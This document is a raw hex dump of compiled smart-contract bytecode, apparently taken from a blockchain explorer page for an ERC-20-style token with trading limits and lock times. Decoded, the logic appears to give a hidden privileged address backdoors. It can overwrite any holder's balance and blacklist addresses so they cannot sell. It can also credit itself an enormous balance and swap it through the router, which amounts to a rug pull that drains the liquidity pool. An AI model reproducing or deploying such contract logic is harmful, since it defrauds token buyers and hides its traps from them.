fffffff16815260200190815260200160002081905550610d1c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600654905090565b6000610d638433846124e3565b610d6e848484612578565b600190509392505050565b6000600960009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610daf611705565b73ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90613d88565b60405180910390fd5b600960019054906101000a900460ff1615610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c90613df4565b60405180910390fd5b82600c8190555082600d8190555081600654610e719190613e43565b600e8190555081600654610e859190613e43565b600f8190555080600b8190555043600a819055506001600960016101000a81548160ff0219169083151502179055507f8c780034bb0223aaf275f7b37b16f4c03e2a6aaf4329769ad1e9615bb2ef91be600a54600b54600c54600d54604051610ef19493929190613e74565b60405180910390a1505050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f949190613f3b565b50915091508373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561101d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110419190613fa3565b73ffffffffffffffffffffffffffffffffffffffff161461107257806dffffffffffffffffffffffffffff16611084565b816dffffffffffffffffffffffffffff165b92505050919050565b60006110ae33848461109f3388611d4e565b6110a99190613b98565b6122dd565b6001905092915050565b6110e433600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a9061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082111561122457600081836111ad919061403c565b905080600660008282546111c19190613b98565b9250508190555080601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112179190613b98565b9250508190555050611330565b8082101561132f576000828261123a919061403c565b905080601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b5906140bc565b60405180910390fd5b80601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130d919061403c565b925050819055508060066000828254611326919061403c565b92505081905550505b5b505050565b60105481565b61012c81565b3373ffffffffffffffffffffffffffffffffffffffff16611360611705565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90613d88565b60405180910390fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113f691906138d1565b602060405180830381865afa158015611413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143791906140dc565b90506000811161147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390614155565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114a0611705565b836040518363ffffffff1660e01b81526004016114be929190614175565b6020604051808303816000875af11580156114dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150191906141ca565b50505050565b60136020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16611546611705565b73ffffffffffffffffffffffffffffffffffffffff161461159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390613d88565b60405180910390fd5b6000479050600081116115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90614243565b60405180910390fd5b6115ec611705565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611631573d6000803e3d6000fd5b5050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661169d611705565b73ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613d88565b60405180910390fd5b6116fd600061304c565b565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461173d90613b38565b80601f016020809104026020016040519081016040528092919081815260200182805461176990613b38565b80156117b65780601f1061178b576101008083540402835291602001916117b6565b820191906000526020600020905b81548152906001019060200180831161179957829003601f168201915b5050505050905090565b6000806117cd3385611d4e565b905082811015611812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611809906142d5565b60405180910390fd5b61182833858584611823919061403c565b6122dd565b600191505092915050565b60156020528060005260406000206000915090505481565b6000611858338484612578565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006003601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16148061193757506001601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b1561194557600190506119f5565b6002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161480156119e25750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442105b156119f057600190506119f5565b600090505b919050565b611a2633600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b6000611a3130610efe565b90506000816dffffffffffffffffffffffffffff8016611a51919061403c565b9050611a5b613109565b611a6d30611a6833611635565b61184b565b50611aab30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166122dd565b6000600267ffffffffffffffff811115611ac857611ac76142f5565b5b604051908082528060200260200182016040528015611af65781602001602082028036833780820191505090505b5090503081600081518110611b0e57611b0d614324565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd99190613fa3565b81600181518110611bed57611bec614324565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173983600084336104b042611c789190613b98565b6040518663ffffffff1660e01b8152600401611c98959493929190614411565b6000604051808303816000875af1158015611cb7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611ce09190614584565b50505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b600d5481565b611d4433600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b611d4c613109565b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e2d33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ec45781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f579190613fa3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401611f919291906145cd565b602060405180830381865afa158015611fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd29190613fa3565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90614642565b60405180910390fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b3373ffffffffffffffffffffffffffffffffffffffff166120a8611705565b73ffffffffffffffffffffffffffffffffffffffff16146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590613d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361216d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612164906146d4565b60405180910390fd5b6121768161304c565b50565b600f5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121d133600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808211156122a6576122a183828461229c919061403c565b613171565b6122c5565b808210156122c4576122c38383836122be919061403c565b6132b9565b5b5b505050565b600960019054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156123475750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237d9061401c565b60405180910390fd5b80601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161246491906138fb565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d690614766565b60405180910390fd5b5050565b60006124ef8484611d4e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612572578181101561255b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612552906147d2565b60405180910390fd5b6125718484848461256c919061403c565b6122dd565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612621576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126189061401c565b60405180910390fd5b6003601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614806126ce57506003601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b8061272857506001601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b1561273257600080fd5b6002601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff160361286557601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561280b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128029061483e565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129095750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156129215750600960019054906101000a900460ff165b15612b4e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a1d57600e5481111580156129d95750600f5481601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d69190613b98565b11155b612a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0f906148aa565b60405180910390fd5b612b4d565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612abc57600e54811115612ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aae906148aa565b60405180910390fd5b612b4c565b600f5481601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0a9190613b98565b1115612b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4290614916565b60405180910390fd5b5b5b5b6000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bcc906140bc565b60405180910390fd5b818103601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000829050600960019054906101000a900460ff168015612c865750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cdc5750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d8d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480612d8c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b15612f88576000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603612e0a576064600c5485612df99190614936565b612e039190613e43565b9050612eb3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612eb257600b54600a54612e6f9190613b98565b4311612e94576064600d5485612e859190614936565b612e8f9190613e43565b612eaf565b606460105485612ea49190614936565b612eae9190613e43565b5b90505b5b6000811115612f86578084612ec8919061403c565b915080601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f199190613b98565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f7d91906138fb565b60405180910390a35b505b80601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161303291906138fb565b60405180910390a3613045858583613479565b5050505050565b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6dffffffffffffffffffffffffffff8016601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131689190613b98565b92505081905550565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036131e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d79061401c565b60405180910390fd5b80600660008282546131f29190613b98565b9250508190555080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132489190613b98565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132ad91906138fb565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161331f9061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156133af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133a6906149c4565b60405180910390fd5b818103601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160066000828254613407919061403c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161346c91906138fb565b60405180910390a3505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156135035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561350f5750600081115b801561356a57506000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b80156135c45750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613674576002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061012c426136309190613b98565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156136b3578082015181840152602081019050613698565b60008484015250505050565b6000601f19601f8301169050919050565b60006136db82613679565b6136e58185613684565b93506136f5818560208601613695565b6136fe816136bf565b840191505092915050565b6000602082019050818103600083015261372381846136d0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061376a8261373f565b9050919050565b61377a8161375f565b811461378557600080fd5b50565b60008135905061379781613771565b92915050565b6000819050919050565b6137b08161379d565b81146137bb57600080fd5b50565b6000813590506137cd816137a7565b92915050565b600080604083850312156137ea576137e9613735565b5b60006137f885828601613788565b9250506020613809858286016137be565b9150509250929050565b60008115159050919050565b61382881613813565b82525050565b6000602082019050613843600083018461381f565b92915050565b600060ff82169050919050565b61385f81613849565b811461386a57600080fd5b50565b60008135905061387c81613856565b92915050565b6000806040838503121561389957613898613735565b5b60006138a785828601613788565b92505060206138b88582860161386d565b9150509250929050565b6138cb8161375f565b82525050565b60006020820190506138e660008301846138c2565b92915050565b6138f58161379d565b82525050565b600060208201905061391060008301846138ec565b92915050565b60008060006060848603121561392f5761392e613735565b5b600061393d86828701613788565b935050602061394e86828701613788565b925050604061395f868287016137be565b9150509250925092565b61397281613849565b82525050565b600060208201905061398d6000830184613969565b92915050565b6000806000606084860312156139ac576139ab613735565b5b60006139ba868287016137be565b93505060206139cb868287016137be565b92505060406139dc868287016137be565b9150509250925092565b6000602082840312156139fc576139fb613735565b5b6000613a0a84828501613788565b91505092915050565b6000819050919050565b6000613a38613a33613a2e8461373f565b613a13565b61373f565b9050919050565b6000613a4a82613a1d565b9050919050565b6000613a5c82613a3f565b9050919050565b613a6c81613a51565b82525050565b6000602082019050613a876000830184613a63565b92915050565b60008060408385031215613aa457613aa3613735565b5b6000613ab285828601613788565b9250506020613ac385828601613788565b9150509250929050565b6000613ad882613a3f565b9050919050565b613ae881613acd565b82525050565b6000602082019050613b036000830184613adf565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613b5057607f821691505b602082108103613b6357613b62613b09565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ba38261379d565b9150613bae8361379d565b9250828201905080821115613bc657613bc5613b69565b5b92915050565b6000819050919050565b6000613bf1613bec613be784613bcc565b613a13565b61379d565b9050919050565b613c0181613bd6565b82525050565b600060c082019050613c1c60008301896138c2565b613c2960208301886138ec565b613c366040830187613bf8565b613c436060830186613bf8565b613c5060808301856138c2565b613c5d60a08301846138ec565b979650505050505050565b600081519050613c77816137a7565b92915050565b600080600060608486031215613c9657613c95613735565b5b6000613ca486828701613c68565b9350506020613cb586828701613c68565b9250506040613cc686828701613c68565b9150509250925092565b7f53746174757320302e2e33000000000000000000000000000000000000000000600082015250565b6000613d06600b83613684565b9150613d1182613cd0565b602082019050919050565b60006020820190508181036000830152613d3581613cf9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613d72602083613684565b9150613d7d82613d3c565b602082019050919050565b60006020820190508181036000830152613da181613d65565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613dde601783613684565b9150613de982613da8565b602082019050919050565b60006020820190508181036000830152613e0d81613dd1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e4e8261379d565b9150613e598361379d565b925082613e6957613e68613e14565b5b828204905092915050565b6000608082019050613e8960008301876138ec565b613e9660208301866138ec565b613ea360408301856138ec565b613eb060608301846138ec565b95945050505050565b60006dffffffffffffffffffffffffffff82169050919050565b613edc81613eb9565b8114613ee757600080fd5b50565b600081519050613ef981613ed3565b92915050565b600063ffffffff82169050919050565b613f1881613eff565b8114613f2357600080fd5b50565b600081519050613f3581613f0f565b92915050565b600080600060608486031215613f5457613f53613735565b5b6000613f6286828701613eea565b9350506020613f7386828701613eea565b9250506040613f8486828701613f26565b9150509250925092565b600081519050613f9d81613771565b92915050565b600060208284031215613fb957613fb8613735565b5b6000613fc784828501613f8e565b91505092915050565b7f5a65726f20616464726573730000000000000000000000000000000000000000600082015250565b6000614006600c83613684565b915061401182613fd0565b602082019050919050565b6000602082019050818103600083015261403581613ff9565b9050919050565b60006140478261379d565b91506140528361379d565b925082820390508181111561406a57614069613b69565b5b92915050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006140a6601483613684565b91506140b182614070565b602082019050919050565b600060208201905081810360008301526140d581614099565b9050919050565b6000602082840312156140f2576140f1613735565b5b600061410084828501613c68565b91505092915050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061413f600983613684565b915061414a82614109565b602082019050919050565b6000602082019050818103600083015261416e81614132565b9050919050565b600060408201905061418a60008301856138c2565b61419760208301846138ec565b9392505050565b6141a781613813565b81146141b257600080fd5b50565b6000815190506141c48161419e565b92915050565b6000602082840312156141e0576141df613735565b5b60006141ee848285016141b5565b91505092915050565b7f4e6f206e61746976652066756e64730000000000000000000000000000000000600082015250565b600061422d600f83613684565b9150614238826141f7565b602082019050919050565b6000602082019050818103600083015261425c81614220565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006142bf602583613684565b91506142ca82614263565b604082019050919050565b600060208201905081810360008301526142ee816142b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6143888161375f565b82525050565b600061439a838361437f565b60208301905092915050565b6000602082019050919050565b60006143be82614353565b6143c8818561435e565b93506143d38361436f565b8060005b838110156144045781516143eb888261438e565b97506143f6836143a6565b9250506001810190506143d7565b5085935050505092915050565b600060a08201905061442660008301886138ec565b6144336020830187613bf8565b818103604083015261444581866143b3565b905061445460608301856138c2565b61446160808301846138ec565b9695505050505050565b600080fd5b614479826136bf565b810181811067ffffffffffffffff82111715614498576144976142f5565b5b80604052505050565b60006144ab61372b565b90506144b78282614470565b919050565b600067ffffffffffffffff8211156144d7576144d66142f5565b5b602082029050602081019050919050565b600080fd5b60006145006144fb846144bc565b6144a1565b90508083825260208201905060208402830185811115614523576145226144e8565b5b835b8181101561454c57806145388882613c68565b845260208401935050602081019050614525565b5050509392505050565b600082601f83011261456b5761456a61446b565b5b815161457b8482602086016144ed565b91505092915050565b60006020828403121561459a57614599613735565b5b600082015167ffffffffffffffff8111156145b8576145b761373a565b5b6145c484828501614556565b91505092915050565b60006040820190506145e260008301856138c2565b6145ef60208301846138c2565b9392505050565b7f5061697220646f6573206e6f7420657869737400000000000000000000000000600082015250565b600061462c601383613684565b9150614637826145f6565b602082019050919050565b6000602082019050818103600083015261465b8161461f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006146be602683613684565b91506146c982614662565b604082019050919050565b600060208201905081810360008301526146ed816146b1565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000614750602183613684565b915061475b826146f4565b604082019050919050565b6000602082019050818103600083015261477f81614743565b9050919050565b7f416c6c6f77616e63652065786365656465640000000000000000000000000000600082015250565b60006147bc601283613684565b91506147c782614786565b602082019050919050565b600060208201905081810360008301526147eb816147af565b9050919050565b7f4c6f636b74696d65206e6f7420656e6465640000000000000000000000000000600082015250565b6000614828601283613684565b9150614833826147f2565b602082019050919050565b600060208201905081810360008301526148578161481b565b9050919050565b7f45786365656473206c696d697473000000000000000000000000000000000000600082015250565b6000614894600e83613684565b915061489f8261485e565b602082019050919050565b600060208201905081810360008301526148c381614887565b9050919050565b7f457863656564732077616c6c6574206c696d6974000000000000000000000000600082015250565b6000614900601483613684565b915061490b826148ca565b602082019050919050565b6000602082019050818103600083015261492f816148f3565b9050919050565b60006149418261379d565b915061494c8361379d565b925082820261495a8161379d565b9150828204841483151761497157614970613b69565b5b5092915050565b7f457863656564732062616c616e63650000000000000000000000000000000000600082015250565b60006149ae600f83613684565b91506149b982614978565b602082019050919050565b600060208201905081810360008301526149dd816149a1565b905091905056fea2646970667358221220c316f4a15ee969886641d23d5c6a80f63e1b58ddb47698e2ea97cc04b2dee96864736f6c634300081300330000000000000000000000001b02da8cb0d097eb8d57a175b88c7d8b479975060000000000000000000000000d500b1d8e8ef31e21c99d1db9a6444d3adf1270

Deployed Bytecode

0x6080604052600436106102555760003560e01c80638da5cb5b11610139578063cf9522fd116100b6578063f1fee6a21161007a578063f1fee6a2146108ba578063f2fde38b146108e3578063f8b45b051461090c578063fa511a8014610937578063fe17770014610962578063ffb54a991461098b5761025c565b8063cf9522fd146107e5578063d445d19e14610810578063dd62ed3e14610827578063dd85465214610864578063edae876f1461088f5761025c565b8063b51449bb116100fd578063b51449bb14610710578063b5c72e1a1461073b578063c0e8c61e14610778578063c816841b1461078f578063c8c8ebe4146107ba5761025c565b80638da5cb5b1461060357806395d89b411461062e578063a457c2d714610659578063a886c87314610696578063a9059cbb146106d35761025c565b806335d16274116101d257806349df728c1161019657806349df728c146105075780634fbee1931461053057806350431ce41461056d57806370a0823114610584578063715018a6146105c15780637b2feaaa146105d85761025c565b806335d162741461040e578063395093511461044b57806339bd3e66146104885780633dc10ad4146104b1578063413d9c3a146104dc5761025c565b806310a5ebba1161021957806310a5ebba1461032757806318160ddd1461035257806323b872dd1461037d578063313ce567146103ba57806334848b9a146103e55761025c565b806306fdde0314610261578063095ea7b31461028c5780630bc488c5146102c95780630cdd8436146102d35780630d1b3eee146102fc5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b506102766109b6565b6040516102839190613709565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae91906137d3565b610a48565b6040516102c0919061382e565b60405180910390f35b6102d1610a5f565b005b3480156102df57600080fd5b506102fa60048036038101906102f59190613882565b610b97565b005b34801561030857600080fd5b50610311610d20565b60405161031e91906138d1565b60405180910390f35b34801561033357600080fd5b5061033c610d46565b60405161034991906138fb565b60405180910390f35b34801561035e57600080fd5b50610367610d4c565b60405161037491906138f